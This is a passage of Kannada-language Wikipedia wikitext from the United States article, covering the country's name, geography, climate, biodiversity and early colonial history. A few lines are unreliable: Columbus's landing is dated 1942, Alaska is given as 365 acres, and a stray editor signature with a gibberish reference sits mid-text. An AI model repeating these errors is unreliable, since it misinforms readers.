ಕೊಲಂಬಿಯಾ ಗೈಡ್ ಟು ಸ್ಟ್ಯಾಂಡರ್ಡ್ ಅಮೆರಿಕನ್ ಇಂಗ್ಲಿಷ್'' ನ್ಯೂಯಾರ್ಕ್: ಕೋಲಂಬಿಯ ಯುನಿವರ್ಸಿಟಿ ಪ್ರೆಸ್, ಪಿಪಿ.27-28.ISBN 0-231-06989-8.</ref> ಆರಂಭದಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಗಳು ಎಂಬ ಬಹುವಚನದ ರೂಪವನ್ನು ಬಳಸಲಾಗುತ್ತಿತ್ತು. 1865ರಲ್ಲಿ ಅನುಮೋದನೆ ಪಡೆದ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಂವಿಧಾನದ ಹದಿಮೂರನೆ ತಿದ್ದುಪಡ್ಡಿ|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಂವಿಧಾನದ ಹದಿಮೂರನೇ ತಿದ್ದುಪಡಿ]]ಯಲ್ಲಿ ಕೂಡ ಹಾಗೆಯೇ ಬಳಸಲಾಗಿತ್ತು. ನಾಗರಿಕ ಸಮರದ ಅಂತ್ಯದನಂತರ ಏಕವಚನದ- “ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ" ಎಂಬ ಬಳಕೆ ವ್ಯಾಪಕಗೊಂಡಿತು. ಏಕವಚನದ ಬಳಕೆಯು ಈಗ ಸರ್ವಮಾನ್ಯವಾಗಿದೆ. "ಈ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಗಳು" ಎಂಬ ಬಹುವಚನದ ನುಡಿಗಟ್ಟನ್ನು ಹಿಂತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ.<ref>{{cite web|url=http://itre.cis.upenn.edu/~myl/languagelog/archives/002663.html|author=Zimmer, Benjamin|date=2005-11-24|title=Life in These, Uh, This United States|publisher=University of Pennsylvania—Language Log|accessdate=2008-02-22}}</ref> == ಭೂಗೋಳ, ವಾಯುಗುಣ ಮತ್ತು ಪರಿಸರ == {{Main|Geography of the United States|Climate of the United States|Environment of the United States}} [[ಚಿತ್ರ:USATopographicalMap.jpg|left|thumb| ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಕ್ಕೆ ಹೊಂದಿಕೊಂಡಿರುವ ಪ್ರದೇಶಗಳ ನಕ್ಷೆ ತೋರಿಸುತ್ತಿರುವ ಉಪಗ್ರಹ ಚಿತ್ರ]] [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಹತ್ತಿರದ ಪ್ರದೇಶಗಳು|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಕ್ಕೆ ಹೊಂದಿಕೊಂಡಿರುವ]] ಒಟ್ಟು ಭೂಭಾಗ ಸುಮಾರು 1.9 ಬಿಲಿಯನ್ ಎಕರೆಗಳು. ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಕ್ಕೆ ಹೊಂದಿಕೊಂಡಿರುವ ಅಲಾಸ್ಕಾವು ಕೆನಡಾದಿಂದ ಪ್ರತ್ಯೇಕಿಸಲ್ಪಟ್ಟಿದೆ ಮತ್ತು ಇದು 365 ಎಕರೆಗಳನ್ನು ಹೊಂದಿರುವ ಅತೀದೊಡ್ಡ ರಾಜ್ಯವಾಗಿದೆ. ಮಧ್ಯ ಪೆಸಿಫಿಕ್ ಸಮುದ್ರದಲ್ಲಿನ ಉತ್ತರ ಅಮೆರಿಕದ ವಾಯವ್ಯ ಭಾಗದಲ್ಲಿನ ಹವಾಯಿ ದ್ವೀಪಸಮೂಹವು ಕೇವಲ 4 ಮಿಲಿಯನ್‌ ಎಕರೆಗಳನ್ನು ಹೊಂದಿದೆ.<ref>{{cite web|author=Lubowski, Ruben, Marlow Vesterby, and Shawn Bucholtz|url=http://www.ers.usda.gov/publications/arei/eib16/chapter1/1.1/|title=AREI Chapter 1.1: Land Use|publisher=Economic Research Service|date=2006-07-21|accessdate=2009-03-09}}</ref> ರಷ್ಯಾ ಮತ್ತು ಕೆನಡಾದ ನಂತರದ ಮೂರು ಅಥವಾ ನಾಲ್ಕನೇ ಸ್ಥಾನದಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು [[ದೇಶಗಳ ಪಟ್ಟಿ ಮತ್ತು ಒಟ್ಟು ಪ್ರದೇಶದಿಂದ ಸಮುದ್ರದ ಹೊರಗಿರುವ ಪ್ರಾಂತ್ಯಗಳು|ಒಟ್ಟು ಭೂಭಾಗದಲ್ಲಿನ ಅತೀದೊಡ್ಡ ದೇಶ]]ವಾಗಿದೆ. [[ಪೀಪಲ್ಸ್‌ ರಿಪಬ್ಲಿಕ್‌ ಆಫ್‌ ಚೀನಾ|ಚೀನಾ]]ದ ಕೆಳಗೆ ಅಥವಾ ಮೇಲಿನ ಸ್ಥಾನವನ್ನು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಹೊಂದಿದೆ. ಚೀನಾ ಮತ್ತು [[ಭಾರತ]]ಗಳ ಗಡಿವಿವಾದ ಇತ್ಯರ್ಥಗೊಳ್ಳುವಿಕೆಯ ಮೇಲೆ ಹಾಗೂ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಒಟ್ಟು ಗಾತ್ರವು ಹೇಗೆ ಲೆಕ್ಕ ಹಾಕಲ್ಪಡುತ್ತದೆ ಎಂಬುದರ ಮೇಲೆ ಅದರ ಸ್ಥಾನವು ನಿಗದಿಗೊಳ್ಳುತ್ತದೆ: CIA ''ವರ್ಲ್ಡ್ ಫ್ಯಾಕ್ಟ್‌ಬುಕ್'' ಪ್ರಕಾರ, {{convert|3794083|sqmi|km2|0|abbr=on}} ವಿಶ್ವಸಂಸ್ಥೆಯ ಸಂಖ್ಯಾಶಾಸ್ತ್ರ ವಿಭಾಗದ ಪ್ರಕಾರ,{{convert|3717813|sqmi|km2|0|abbr=on}} ಮತ್ತು ''ಎನ್‌ಸೈಕ್ಲೋಪೀಡಿಯಾ ಬ್ರಿಟಾನಿಕಾ'' ಪ್ರಕಾರ{{convert|3676486|sqmi|km2|0|abbr=on}}.<ref>{{cite web|url=http://www.britannica.com/eb/article-9111233/United-States|title=United States|publisher=Encyclopedia Britannica|accessdate=2008-03-25|archive-date=2012-07-29|archive-url=https://archive.is/20120729115512/http://www.britannica.com/eb/article-9111233/United-States|url-status=bot: unknown}}</ref> ಕೇವಲ ಭೂಭಾಗವನ್ನು ಪರಿಗಣಿಸಿದರೆ, ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ರಷ್ಯಾ ಮತ್ತು ಚೀನಾದ ಹಿಂದೆ ಮೂರನೇ ಸ್ಥಾನದಲ್ಲಿದೆ. ಮತ್ತು ಕೆನಡಾಕ್ಕಿಂತ ಸ್ವಲ್ಪ ಮುಂದಿದೆ.<ref>{{cite web|url=http://education.yahoo.com/reference/factbook/countrycompare/area/3d.html;_ylt=As1XMsN8kgSx746VWazy_s7PecYF|title=World Factbook: Area Country Comparison Table|publisher=Yahoo Education|accessdate=2007-02-28}}</ref> [[ಚಿತ್ರ:Barns grand tetons.jpg|thumb|left|ಟೀಟನ್ ಶ್ರೇಣಿ, ಶಿಲಾ ಪರ್ವತಗಳ ಭಾಗ]] ಅಟ್ಲಾಂಟಿಕ್ ಸಮುದ್ರತೀರದ ಕರಾವಳಿಯು [[ವರ್ಷಕ್ಕೊಮ್ಮೆ ಎಲೆ ಉದುರುವ ಮರ|ಉದುರೆಲೆ]] ಅರಣ್ಯಗಳು ಮತ್ತು [[ಪೀಡ್‌ಮಾಂಟ್ (ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ‌)|ಪೀಡ್‌ಮಾಂಟ್‌]]ನ ರೋಲಿಂಗ್ ಹಿಲ್ಸ್‌‌ನ ಒಳನಾಡಿಗೆ ದಾರಿ ಮಾಡಿಕೊಡುತ್ತವೆ. [[ಅಪ್ಪಲೆಚಿಯನ್ ಪರ್ವತಗಳು|ಅಪಾಲೇಶಿಯನ್ ಪರ್ವತಗಳು]] [[ಗ್ರೇಟ್ ಲೇಕ್ಸ್|ಗ್ರೇಟ್ ಲೇಕ್ಸ್‌]]ನಿಂದ ಮತ್ತು [[ಮಧ್ಯಪಶ್ಚಿಮ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್|ಮಧ್ಯಪಶ್ಚಿಮ]]ದ ಹುಲ್ಲುಗಾವಲುಗಳಿಂದ ಪೂರ್ವ ಕರಾವಳಿಯನ್ನು ಬೇರ್ಪಡಿಸುತ್ತದೆ. [[ಉದ್ದಕ್ಕನುಗುಣವಾಗಿ ನದಿಗಳ ಪಟ್ಟಿ|ಜಗತ್ತಿನ ನಾಲ್ಕನೇ ಅತಿದೊಡ್ಡ ನದಿ]]ಯಾದ [[ಮಿಸ್ಸಿಸ್ಸಿಪ್ಪಿ ನದಿ|ಮಿಸ್ಸಿಸಿಪ್ಪಿ]]-[[ಮಿಸ್ಸೌರಿ ನದಿ]]ಯು ದೇಶದ ಹೃದಯಭಾಗವನ್ನು ಹಾದು ಉತ್ತರ ದಕ್ಷಿಣದುದ್ದಕ್ಕೂ ಹರಿಯುತ್ತದೆ. [[ಗ್ರೇಟ್ ಪ್ಲೇನ್ಸ್|ಗ್ರೇಟ್ ಪ್ಲೇನ್ಸ್‌]]ನ ಸಮತಟ್ಟಾದ, ಸಂಪದ್ಭರಿತ [[ಪ್ರೈರೀ|ಹುಲ್ಲುಗಾವಲು]] ಆಗ್ನೇಯದ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಒಳಭಾಗದ ಮಲೆನಾಡುಗಳು|ಮಲೆನಾಡಿನ ಭಾಗ]]ಗಳನ್ನು ಹಾದು ಪಶ್ಚಿಮದೆಡೆಗೆ ಸಾಗಿದೆ. ಗ್ರೇಟ್ ಪ್ಲೇನ್ಸ್‌ನ ಪಶ್ಚಿಮ ಭಾಗದಲ್ಲಿ [[ಶಿಲಾ ಪರ್ವತಗಳು|ಕಲ್ಲಿನ ಪರ್ವತಗಳು]] ದೇಶದ ಉತ್ತರದಿಂದ ದಕ್ಷಿಣದ ತನಕ ಹಬ್ಬಿದೆ ಮತ್ತು [[ಕೊಲೋರಡೋ|ಕೊಲರಾಡೋ]]ದಲ್ಲಿ 14,000 ಅಡಿ (4,300 ಮೀ)ಗಿಂತಲೂ ಎತ್ತರವನ್ನು ಹೊಂದಿದೆ. ದೂರದ ಪಶ್ಚಿಮವು ಶಿಲಾವೃತವಾದ [[ಗ್ರೇಟ್ ಬಸಿನ್|ಮಹಾ ಪ್ರಸ್ಥಭೂಮಿ]]ಗಳು ಹಾಗೂ [[ಮೊಜಾವೆ ಮರುಭೂಮಿ|ಮೊಜಾವೆ]]ಯಂತಹ ಮರಳುಗಾಡುಗಳಿಂದ ಕೂಡಿದೆ. [[ಸಿಯಾರ ನವಾಡ (ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ)|ಸಿಯೆರ್ರಾ ನೆವಾಡಾ]] ಮತ್ತು [[ಕ್ಯಾಸ್‌ಕೆಡ್ ಶ್ರೇಣಿ|ಕ್ಯಾಸ್ಕೇಡ್]] ಪರ್ವತಗಳು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಪಶ್ಚಿಮ ತೀರ ಪ್ರದೇಶ|ಪೆಸಿಫಿಕ್]] ತೀರಕ್ಕೆ ಹತ್ತಿರವಾಗಿವೆ. 20,320 ಅಡಿ (6,194 ಮೀ) ಎತ್ತರದ ಅಲಾಸ್ಕಾದ ಮೌಂಟ್ ಮ್ಯಾಕ್ ಕಿನ್ಲೇಯು ದೇಶದ ಅತೀ ಎತ್ತರವಾದ ಪರ್ವತ ಶಿಖರವಾಗಿದೆ. ಅಲಾಸ್ಕಾದ [[ಅಲೆಕ್ಸಾಂಡರ್ ದ್ವೀಪಸಮೂಹ|ಅಲೆಕ್ಸಾಂಡರ್]] ಮತ್ತು [[ಅಲುಟಿಯನ್ ದ್ವೀಪಗಳು|ಅಲ್ಯೂಶನ್ ದ್ವೀಪಗಳಾ]]ದ್ಯಂತ ಜೀವಂತ [[ಅಗ್ನಿಪರ್ವತ|ಜ್ವಾಲಾಮುಖಿ]]ಗಳು ತೀರಾ ಸಾಮಾನ್ಯ. ಮತ್ತು ಹವಾಯಿ ದ್ವೀಪದಲ್ಲೂ ಕೂಡಾ ಜ್ವಾಲಾಮಖಿಯನ್ನು ಹೊಂದಿದ ದ್ವೀಪಗಳಿವೆ.ರಾಕೀಸ್‌ನ [[ಎಲ್ಲೊಸ್ಟೊನ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ|ಎಲ್ಲೋಸ್ಟೋನ್ ನ್ಯಾಶನಲ್ ಪಾರ್ಕ್‌]]ನಲ್ಲಿ ಬರುವ [[ವಿಶಿಷ್ಟವಾದ ಅಗ್ನಿಪರ್ವತ|ಮಹಾಜ್ವಾಲಾಮುಖಿ]]ಯು ಈ ಖಂಡದ ಅತಿ ದೊಡ್ಡ ಜ್ವಾಲಾಮುಖಿಯಾಗಿದೆ.<ref>{{cite web|url=http://dsc.discovery.com/convergence/supervolcano/under/under.html|title=Supervolcano: What's Under Yellowstone?|author=O'Hanlon, Larry|publisher=Discovery Channel|accessdate=2007-06-13|archiveurl=https://archive.today/20120525210051/http://dsc.discovery.com/convergence/supervolcano/under/under.html|archivedate=2012-05-25|url-status=live}}</ref> [[ಚಿತ್ರ:Haliaeetus leucocephalus2.jpg|right|thumb|upright|ಬೋಳುತಲೆಯ ಹದ್ದು, 1782 ರಿಂದ ಯುನೈಟ್‌ಡ್ ಸ್ಟೇಟ್ಸ್‌ನ ರಾಷ್ಟ್ರೀಯ ಪಕ್ಷಿ]] ತನ್ನ ಅಗಾಧ ವಿಸ್ತೀರ್ಣ ಹಾಗೂ ಭೌಗೋಳಿಕ ವಿಭಿನ್ನತೆಗಳಿಂದಾಗಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಹಲವು ಬಗೆಯ ಹವಾಮಾನಗಳನ್ನು ಹೊಂದಿದೆ. [[೧೦೦ನೆ ಪಶ್ಚಿಮ ಮೆರಿಡಿಯನ್|100ನೇ ಮೆರಿಡಿಯನ್‌]]ಗೆ ಪೂರ್ವದಲ್ಲಿ ಹವಾಮಾನವು ಉತ್ತರದಲ್ಲಿ [[ಭೂಪ್ರದೇಶದ ತೇವ ಹವಾಗುಣ|ತೇವ]]ಗುಣದಿಂದ ದಕ್ಷಿಣದಲ್ಲಿ [[ತೇವವಾದ ಉಪ ಉಷ್ಣವಲಯದ ಹವಾಗುಣ|ತೇವ ಉಷ್ಣವಲಯ]]ದವರೆಗೆ ಹಬ್ಬಿದೆ. ಹವಾಯಿ ದ್ವೀಪದಂತೇ [[ಫ್ಲೊರಿಡಾ|ಫ್ಲೋರಿಡಾ]]ದ ದಕ್ಷಿಣ ಭಾಗವೂ ಉಷ್ಣವಲಯವಾಗಿದೆ. 100ನೇ ಮೆರಿಡಿಯನ್‌ನ ಪಶ್ಚಿಮ ಗ್ರೇಟ್ ಪ್ಲೇನ್ ಪ್ರಾಂತ್ಯವು ಶುಷ್ಕ ವಾತಾವರಣವಾಗಿದೆ. ಬಹಳಷ್ಟು ಪಶ್ಚಿಮದ ಪರ್ವತಗಳು [[ಅಲ್ಪೈನ್ ಹವಾಗುಣ|ಅಲ್ಪೈನ್‌]] ಸಸ್ಯಗಳಿಂದ ಕೂಡಿವೆ. ಗ್ರೇಟ್ ಬೇಸಿನ್, ನೈರುತ್ಯದ ಮರಳುಗಾಡು, [[ಕ್ಯಾಲಿಫೊರ್ನಿಯಾ ಕರಾವಳಿ|ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ ಕರಾವಳಿ]]ಯ [[ಮೆಡಿಟರೇನಿಯನ್‌ ಹವಾಗುಣ|ಮೆಡಿಟರ್ರೇನಿಯನ್]] ಮತ್ತು [[ಒರೆಗಾನ್|ಓರೆಗಾನ್]] ಕರಾವಳಿಯ [[ಸಮುದ್ರ ಹವಾಗುಣ|ಓಶಿಯಾನಿಕ್]], [[ವಾಷಿಂಗ್ಟ್‌ನ್|ವಾಶಿಂಗ್ಟನ್]] ಮತ್ತು ದಕ್ಷಿಣ ಅಲಾಸ್ಕಾ ಪ್ರಾಂತ್ಯದ ವಾಯುಗುಣವು ಶುಷ್ಕವಾಗಿದೆ.ಅಲಾಸ್ಕಾದ ಬಹಳಷ್ಟು ಭಾಗವು ಉಪ ಉತ್ತರಧ್ರುವ ಅಥವಾ ಧ್ರುವ ಪ್ರದೇಶವಾಗಿದೆ. ದೇಶದಲ್ಲಿ ಹವಾಮಾನ ವೈಪರೀತ್ಯಗಳು ಅತೀಸಾಮಾನ್ಯ. [[ಮೆಕ್ಸಿಕೊ ಕೊಲ್ಲಿ|ಗಲ್ಫ್-ಮೆಕ್ಸಿಕೋ]]ದ ಗಡಿಭಾಗದಲ್ಲಿ [[ಉಷ್ಣವಲಯದ ಚಂಡಮಾರುತ|ಸುಂಟರಗಾಳಿ]]ಯು ಹಾಗೂ ಜಗತ್ತಿನಲ್ಲೇ ಅತೀ ಹಚ್ಚಿನ [[ಟಾರ್ನಡೋ|ತೂಫಾನಿ]]ಗೆ ದೇಶದ ಮಧ್ಯಪಶ್ಚಿಮ [[ಟೊರ್ನಾಡೋ ಕಾಲುದಾರಿ|ಟೋರ್ನಡೋ ಅಲೇಯ್‌]]ಗಳು ಒಳಗಾಗುತ್ತದೆ.<ref>{{cite web|author=Perkins, Sid|url=http://www.sciencenews.org/articles/20020511/bob9.asp|archiveurl=https://web.archive.org/web/20070701131631/http://www.sciencenews.org/articles/20020511/bob9.asp|archivedate=2007-07-01|title=Tornado Alley, USA|accessdate=2006-09-20|date=2002-05-11|work=Science News|url-status=live}}</ref> ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಪರಿಸರವು "[[ಮೆಗಾಡೈವರ್ಸ್ ದೇಶಗಳು|ಅತಿ ವೈವಿಧ್ಯತೆ]]"ಯಿಂದ ಕೂಡಿದೆ. ಅಲಾಸ್ಕಾ ಮತ್ತು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ತೀರದಲ್ಲಿ ಸುಮಾರು 17,೦೦೦ ಜಾತಿಯ [[ನಾಳರಚನೆಯ ಸಸ್ಯಗಳು|ನಾಳರಚನೆಯ (vascular) ಸಸ್ಯಗಳು]] ಮತ್ತು 1,800ಕ್ಕೂ ಹೆಚ್ಚು ಜಾತಿಯ [[ಹೂವಿನ ಸಸ್ಯ|ಹೂಬಿಡುವ ಸಸ್ಯಗಳು]] ಹವಾಯಿ ದ್ವೀಪದಲ್ಲಿ ಕಂಡುಬರುತ್ತವೆ. ಅವುಗಳಲ್ಲಿ ಕೆಲವು ಮುಖ್ಯಭೂಮಿಯಲ್ಲಿ ಕಾಣಸಿಗುತ್ತವೆ.<ref>{{cite web|author=Morin, Nancy|url=http://www.fungaljungal.org/papers/National_Biological_Service.pdf|title=Vascular Plants of the United States|publisher=National Biological Service|work=Plants|accessdate=2008-10-27}}</ref>ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು 400ಕ್ಕೂ ಹೆಚ್ಚು ಜಾತಿಯ ಸಸ್ತನಿಗಳು, 750 ಹಕ್ಕಿಗಳು ಮತ್ತು 500 ಸರೀಸೃಪಗಳು ಹಾಗೂ ಉಭಯವಾಸೀ ಜೀವಿಗಳ ತವರೂರಾಗಿದೆ.<ref>{{cite web|url=http://www.sdi.gov/curtis/TxTab4x1.html|title=Global Significance of Selected U.S. Native Plant and Animal Species|publisher=SDI Group|date=2001-02-09|accessdate=2009-01-20}}</ref> ಸುಮಾರು 91,000 ಕೀಟಜಾತಿಗಳಿವೆಯೆಂದು ಹೇಳಲಾಗಿದೆ.<ref>{{cite web|url=http://www.si.edu/Encyclopedia_SI/nmnh/buginfo/bugnos.htm|title=Numbers of Insects (Species and Individuals)|publisher=Smithsonian Institution|accessdate=2009-01-20}}</ref>[[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮೀನು ಮತ್ತು ವನ್ಯಜೀವಿ ಸೇವೆ|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮತ್ಸ್ಯ ಹಾಗೂ ವನ್ಯಜೀವಿ ಸೇವೆ]]ಗಳ ಸುಪರ್ದಿಗೊಳಪಡುವ ಅಪಾಯ ಹಾಗೂ ಅಳಿವಿನಂಚಿನಲ್ಲಿರುವ ಜೀವಿಗಳ ಸಂರಕ್ಷಣೆಗಾಗಿ [[ಅಪಾಯವನ್ನುಂಟುಮಾಡುವ ಪಂಗಡಗಳ ಕಾಯಿದೆ|ಅಪಾಯದಂಚಿನಲ್ಲಿರುವ ಜೀವಿಗಳ ಕಾಯ್ದೆ,1973]]ಯು ಜಾರಿಯಲ್ಲಿದೆ. ಈ ದೇಶದಲ್ಲಿ ಐವತ್ತೆಂಟು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಷ್ಟೀಯ ಉದ್ಯಾನವನ ವ್ಯವಸ್ಥೆಯ ಪ್ರದೇಶಗಳ ಪಟ್ಟಿ|ರಾಷ್ಟ್ರೀಯ ಪಾರ್ಕ್‌]]ಗಳು ಮತ್ತು ನೂರಾರು ಇತರ ಸ್ವತಂತ್ರನಿರ್ವಹಣೆಯ ಪಾರ್ಕುಗಳು, ಅರಣ್ಯಗಳು ಮತ್ತು [[ನಿರ್ಜನಪ್ರದೇಶ|ದಟ್ಟ ಕಾಡಿನ ಪ್ರದೇಶ]]ಗಳಿವೆ.<ref>{{cite web|url=http://home.nps.gov/applications/release/Detail.cfm?ID=639|title=National Park Service Announces Addition of Two New Units|publisher=National Park Service|date=2006-02-28|accessdate=2006-06-13}}</ref>ಒಟ್ಟಾರೆಯಾಗಿ ದೇಶದ 28.8% ಭೂಭಾಗವು ಸರ್ಕಾರದ ಒಡೆತನದಲ್ಲಿದೆ.<ref name="FL">{{cite web|url=http://johnshadegg.house.gov/rsc/Federal%20Land%20Ownership--May%202005.pdf|title=Federal Land and Buildings Ownership|publisher=Republican Study Committee|date=2005-05-19|accessdate=2009-03-09}}</ref>ಇವುಗಳಲ್ಲಿ ಬಹಳಷ್ಟನ್ನು [[ಸಂರಕ್ಷಿತ ಪ್ರದೇಶ|ಸಂರಕ್ಷಿಸಲಾಗಿದೆ]]. ಕೆಲಭಾಗಗಳು ತೈಲ ಮತ್ತು ಅನಿಲ ನಿಕ್ಷೇಪ, ಗಣಿಗಾರಿಕೆ, ಗೋಮಾಳಗಳಾಗಿ ಉಪಯೋಗಿಸಲಾಗುತ್ತಿದೆ. 2.4% ಭಾಗವು ಸೇನಾ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಬಳಸಲ್ಪಡುತ್ತಿದೆ.<ref name="FL"/> == ಇತಿಹಾಸ == {{Main|History of the United States}} === ಮೂಲ ಅಮೆರಿಕನ್ನರು ಮತ್ತು ಯುರೋಪಿಯನ್ ನೆಲಸಿಗರು === {{seealso|Native Americans in the United States|European colonization of the Americas|Thirteen Colonies}} ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮುಖ್ಯ ಭೂಪ್ರದೇಶದ [[ಅಮೆರಿಕದ ಸ್ಥಳೀಯ ಜನರು|ಸ್ಥಳೀಯರು]] ಹಾಗೂ [[ಅಲಾಸ್ಕಾ ಸ್ಥಳೀಯರು|ಅಲಾಸ್ಕಾದ ಮೂಲನಿವಾಸಿಗಳು]] [[ಹೊಸ ಜಗತ್ತಿಗೆ ವಲಸೆಯ ಮಾದರಿಗಳು|ಏಷ್ಯಾದಿಂದ ವಲಸೆ ಬಂದವರೆಂದು]] ಹೇಳಲಾಗುತ್ತದೆ. ಅವರು ಕನಿಷ್ಠ ಪಕ್ಷ 12,000ದಿಂದ 40,000 ವರ್ಷಗಳಷ್ಟು ಹಿಂದಿನಿಂದಲೇ ವಲಸೆ ಬರಲಾರಂಭಿಸಿದ್ದರು.<ref>{{cite web|url=http://anthropology.si.edu/HumanOrigins/faq/americas.htm|title=Peopling of Americas|publisher=Smithsonian Institution, National Museum of Natural History|month=June|year=2004|accessdate=2007-06-19}}</ref>ಕೆಲವು, [[ಪೂರ್ವ ಕೊಲಂಬಿಯನ್|ಕೊಲಂಬಿಯನ್ ಪೂರ್ವದ]] [[ಮಿಸ್ಸಿಸ್ಸಿಪ್ಪಿಯ ಸಂಸ್ಕೃತಿ|ಮಿಸ್ಸಿಸ್ಸಿಪ್ಪಿಯನ್ ಸಂಸ್ಕೃತಿ]]ಯಂಥವು ಸುಧಾರಿತ ಕೃಷಿಗಾರಿಕೆ, ವೈಭವದ ವಾಸ್ತುಕಲೆ ಮತ್ತು ರಾಷ್ಟ್ರಮಟ್ಟದ ಸಮಾಜಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದವು. ಯುರೋಪಿಯನ್ನರು ಅಮೆರಿಕಾದಲ್ಲಿ ನೆಲೆಸಲಾರಂಭಿಸಿದ ನಂತರ ಅಲ್ಲಿಂದ ಅಮದಾದ [[ಸಿಡುಬು|ಸಿಡುಬಿ]]ನಂತಹ ಸಾಂಕ್ರಾಮಿಕ ಖಾಯಿಲೆಗಳಿಗೆ ತುತ್ತಾಗಿ [[ಅಮೆರಿಕದ ಸ್ಥಳೀಯ ಜನಸಂಖ್ಯೆಯ ಇತಿಹಾಸ|ಲಕ್ಷಾಂತರ ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ನರು ಪ್ರಾಣ ಕಳೆದುಕೊಂಡರು]].<ref>{{Cite journal|author=Meltzer, D.J.|year=1992|title=How Columbus Sickened the New World: Why Were Native Americans So Vulnerable to the Diseases European Settlers Brought With Them?|journal=New Scientist|pages=38|url=http://www.newscientist.com/article/mg13618424.700-how-columbus-sickened-the-new-world-why-were-nativeamericans-so-vulnerable-to-the-diseases-european-settlers-brought-with-them.html}}</ref> --[[ವಿಶೇಷ:Contributions/37.8.71.121|37.8.71.121]] ೧೩:೦೭, ೨೫ ಜುಲೈ ೨೦೧೩ (UTC)<ref>لفرصشطويست رف </ref> [[ಚಿತ್ರ:MayflowerHarbor.jpg|left|thumb| ಮೇಫ್ಲವರ್ ಹಡಗು ಧಾರ್ಮಿಕ ಯಾತ್ರಿಗಳನ್ನು ಹೊಸ ಜಗತ್ತಿಗೆ 1620ರಲ್ಲಿ ರವಾನೆ ಮಾಡಿತು. ಇದನ್ನು ವಿಲಿಯಮ್ ಹಲ್ಸಲ್ಸ್‌ರವರು 1882ರಲ್ಲಿ ಪ್ಲೇಮೌತ್ ಹಾರ್ಬರ್‌ನಲ್ಲಿ ವಿವರಿಸಿದ್ದಾರೆ.]] 1942ರಲ್ಲಿ [[ಜೆನೊವಾ|ಜಿನೋವಾದ]] ಅನ್ವೇಷಕ [[ಕ್ರಿಸ್ಟೊಫರ್ ಕೊಲಂಬಸ್|ಕ್ರಿಸ್ಟೋಫರ್ ಕೊಲಂಬಸ್‌]]ನು ಸ್ಪಾನಿಷ್ ಅಧಿಪತ್ಯದ ಗುತ್ತಿಗೆಯಡಿಯಲ್ಲಿ ಹಲವು ಕೆರೆಬಿಯನ್ ದ್ವೀಪಗಳನ್ನು ತಲುಪಿ, ಸ್ಥಳೀಯ ನಿವಾಸಿಗಳೊಂದಿಗೆ [[ಪ್ರಥಮ ಸಂಪರ್ಕ(ಮಾನವಶಾಸ್ತ್ರ)|ಮೊತ್ತಮೊದಲ ಸಂಪರ್ಕ]] ಸಾಧಿಸಿದನು. ಏಪ್ರಿಲ್ 2,1513ರಂದು ಸ್ಪಾನಿಷ್ [[ಕಾನ್‌ಕ್ವಿಸ್ಟಾಡೊರ್|ದಿಗ್ವಿಜಯಕಾರ]] [[ಜುವಾನ್ ಪಾನ್ಸ್ ಡೆ ಲಿಯಾನ್|ಜಾನ್ ಪೋನ್ಸ್ ಡಿ ಲಿಯೋನ್]], ಯುರೋಪಿಯನ್ನನ ಆಗಮನವನ್ನು ದಾಖಲಿಸಿದ, ಯು.ಎಸ್.ನ ಮುಖ್ಯ ಪ್ರದೇಶವಾಗಿರುವ [[ಪ್ಲೊರಿಡಾದ ಇತಿಹಾಸ|“ಲಾ ಫ್ಲೋರಿಡಾ"]]ದ ಮೇಲೆ ಕಾಲಿರಿಸಿದನು.ಸ್ಪಾನಿಷ್ ನೆಲೆಗಳು ಇಂದಿನ [[ನೈರುತ್ಯ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ]]ದ ಭಾಗದಲ್ಲಿ ಮುಂದುವರೆಯಿತು ಮತ್ತು ಸಾವಿರಾರು ಜನರನ್ನು ಮೆಕ್ಸಿಕೋ ಮುಖಾಂತರ ಕರೆಸಿಕೊಂಡಿತು. ಫ್ರೆಂಚ್‌ನ [[ತುಪ್ಪಳ ವ್ಯಾಪಾರ|ತುಪ್ಪುಳ ವ್ಯಾಪಾರಿಗಳು]] [[ಗ್ರೇಟ್ ಲೇಕ್ಸ್|ಗ್ರೇಟ್ ಲೇಕ್ಸ್‌]]ನ ಸುತ್ತ [[ಹೊಸ ಫ್ರಾನ್ಸ್|ನ್ಯೂ ಫ್ರಾನ್ಸ್‌]]ನ್ನು ಸ್ಥಾಪಿಸಿದರು. ಕ್ರಮೇಣ ಫ್ರಾನ್ಸ್ ಉತ್ತರ ಅಮೆರಿಕಾದ ಒಳನಾಡಿನಿಂದ ಕೆಳಗೆ ಮೆಕ್ಸಿಕೋ ಕೊಲ್ಲಿಯವರೆಗೂ ತನ್ನ ಹಿಡಿತ ಸಾಧಿಸಿತು.ಮೊಟ್ಟಮೊದಲ ಯಶಸ್ವೀ ಬ್ರಿಟಿಷ್ 